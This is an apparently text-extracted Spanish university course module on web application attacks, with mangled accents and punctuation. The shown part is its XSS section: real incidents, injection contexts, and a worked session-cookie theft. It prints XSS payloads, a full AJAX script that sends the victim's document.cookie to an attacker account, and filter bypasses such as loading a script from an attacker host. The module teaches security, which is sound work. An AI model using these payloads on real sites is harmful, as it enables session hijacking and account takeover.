Upload
others
View
8
Download
0
Embed Size (px)
Citation preview
Ataques aaplicaciones web Joseacute Mariacutea Alonso CebriaacutenAntonio Guzmaacuten SacristaacutenPedro Laguna DuraacutenAlejandro Martiacuten Bailoacuten PID_00191662
CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web
Los textos e imaacutegenes publicados en esta obra estaacuten sujetos ndashexcepto que se indique lo contrariondash a una licencia deReconocimiento-NoComercial-SinObraDerivada (BY-NC-ND) v30 Espantildea de Creative Commons Podeacuteis copiarlos distribuirlosy transmitirlos puacuteblicamente siempre que citeacuteis el autor y la fuente (FUOC Fundacioacuten para la Universitat Oberta de Catalunya)no hagaacuteis de ellos un uso comercial y ni obra derivada La licencia completa se puede consultar en httpcreativecommonsorglicensesby-nc-nd30eslegalcodees
CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web
Iacutendice
1 Ataques de inyeccioacuten de scripts 5
11 Cross site scripting (XSS) 7
111 Ataques 9
112 Meacutetodos para introducir XSS (cross site scripting) 10
113 Diseccionando un ataque 12
114 Filtros XSS 17
12 Cross Site Request Forgery (CSRF) 19
13 Clickjacking 21
2 Ataques de inyeccioacuten de coacutedigo 26
21 LDAP Injection 28
211 LDAP Injection con ADAM de Microsoft 28
212 LDAP Injection con OpenLDAP 31
213 Conclusiones 33
214 ldquoORrdquo LDAP Injection 34
215 ldquoANDrdquo LDAP Injection 36
22 Blind LDAP Injection 39
221 Blind LDAP Injection en un entorno ldquoANDrdquo 40
222 Reconocimiento de clases de objetos de un aacuterbol
LDAP 40
223 Blind LDAP Injection en un entorno ldquoORrdquo 42
224 Ejemplos Blind LDAP Injection 43
23 XPath 48
231 XPath injection y Blind XPath Injection 48
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection 53
3 Ataques de Path Transversal 54
31 Path Disclosure 54
4 Ataques de inyeccioacuten de ficheros 56
41 Remote file inclusion 56
42 Local file inclusion 57
43 Webtrojans 59
5 Google Hacking 61
6 Seguridad por ocultacioacuten 64
61 Descompiladores de applets web 67
611 Flash 67
612 Java 69
613 NET 70
CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web
Bibliografiacutea 73
CC-BY-NC-ND bull PID_00191662 5 Ataques a aplicaciones web
1 Ataques de inyeccioacuten de scripts
Bajo la denominacioacuten de inyeccioacuten de scripts se agrupan distintas teacutecnicas que
comparten el mismo sistema de explotacioacuten pero que persiguen distinto fin
El hecho de separarlas en distintas categoriacuteas atiende uacutenicamente a facilitar la
fijacioacuten de los objetivos perseguidos
Un ataque por inyeccioacuten de coacutedigo se plantea como objetivo lograr in-
yectar en el contexto de un dominio un coacutedigo Javascript VBScript o
simplemente HTML con la finalidad de engantildear al usuario o realizar
una accioacuten no deseada suplantaacutendole
Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-
tado no es directamente el servidor como podriacutea ser en el caso de un ataque
de SQL Injection sino que el objetivo directo es el usuario Posteriormente
si el ataque es exitoso y mediante suplantacioacuten de personalidad se podraacuten
ejecutar las acciones deseadas en el servidor afectado y al que pueda accederse
desde una paacutegina web
Esto ha implicado que los fallos de inyeccioacuten de scripts no sean considerados
como amenazas criacuteticas en algunos sectores de la seguridad informaacutetica de-
clarando incluso que errores de este tipo no podriacutean llegar a comprometer la
seguridad de un sitio web Como se demostraraacute a lo largo de este apartado la
inyeccioacuten de scripts puede llegar a ser tan peligrosa como cualquier otra teacutecni-
ca si se sabe cuaacutel es su liacutemite y cuaacutel es su potencial
Se exponen a continuacioacuten casos reales relacionados con XSS ( cross site scrip-
ting) en los que la seguridad de alguacuten sitio web ha quedado comprometida A
pesar del escepticismo de algunos XSS puede permitir la obtencioacuten de privile-
gios sobre alguacuten sistema lo suficientemente deacutebil como para permitir insertar
coacutedigo Javascript
CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web
Zone-H
El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados
El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban
Samy Worm y MySpace
El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm
Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace
El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil
En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores
CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web
Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo
Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una
vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web
a pesar de la opinioacuten de aquellos que no las consideran como tal
Hacker Safe
En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios
Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante
11 Cross site scripting (XSS)
El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-
lizando en este moacutedulo asiacute que es fundamental entender correctamente los
conceptos que se explican a continuacioacuten
CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web
Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo
se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada
al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute
o no factible un ataque mediante XSS
Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos
al servidor (un comentario un cambio en un perfil una buacutesqueda etc)
se ve posteriormente mostrado en la paacutegina de respuesta
Esto es cuando escribimos un comentario en una paacutegina y podemos leer
posteriormente nuestro mensaje modificamos nuestro perfil de usuario
y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos
muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo
se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros
hemos introducido Ahiacute es donde vamos a empezar a investigar para
lograr introducir nuestro coacutedigo XSS
Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-
dente del usuario lo muestra en la paacutegina es el momento de determinar si es
posible utilizar esa zona como punto de ataque de XSS Para ello es posible
insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para
descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para
los ejemplos se utilizaraacute el siguiente coacutedigo
ltscriptgtalert(iexclHola Mundo)ltscriptgt
El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque
como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-
litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por
ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo
suelen estar prohibidos
Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS
Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas
bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta
categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el
ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten
lugar habitualmente una base de datos SQL y se va a mostrar a cualquier
usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS
son mucho maacutes peligrosos que los no permanentes que se comentan a
continuacioacuten
CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web
bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se
menciona Nos encontramos con una paacutegina web que dispone de busca-
dor el cual al introducir una palabra inventada o una cadena aleatoria de
caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados
para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en
el campo de buacutesqueda
Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-
cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es
vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten
no son permanentes
XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo
Javascript en una aplicacioacuten web lo que permite realizar una serie de
acciones maliciosas en la misma
Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-
nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que
anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo
se ha escrito en alguacuten campo donde queda almacenado en una base de datos
de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina
Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En
estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque
Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute
ser algo similar a
httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt
Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga
clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea
ya a otro aacutembito de estudio como es la ingenieriacutea social
111 Ataques
Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que
pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-
mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante
y las funcionalidades de la aplicacioacuten objetivo del ataque
bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-
rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha
logrado que un usuario administrador ejecute nuestro coacutedigo Javascript
las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible
por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a
generar una cuenta de administrador con los datos que nosotros especifi-
CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web
quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de
administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil
especiacutefico del usuario en el sitio web
bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing
Mediante Javascript como hemos visto podemos modificar el comporta-
miento y la apariencia de una paacutegina web Esto permite crear un formula-
rio de login falso o redirigir el submit de uno existente hacia un dominio
de nuestro control
bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-
nicas que explotan vulnerabilidades XSS
bull Por otra parte aunque menos habitual es posible realizar un ataquedede-
negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)
Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-
gan un uso intensivo de recursos muy costosos en ancho de banda o ca-
pacidad de procesamiento de un servidor de forma asiacutencrona
bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga
dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-
cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red
social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo
Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita
otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-
cacioacuten en los perfiles afectados
Como se puede comprobar las posibilidades que ofrece el XSS son realmen-
te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar
coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no
permite el acceso a ficheros del sistema y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque
112 Meacutetodos para introducir XSS (cross site scripting)
Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-
cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas
de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo
malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las
zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo
Javascript introducido
bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo
Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-
cutar
(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
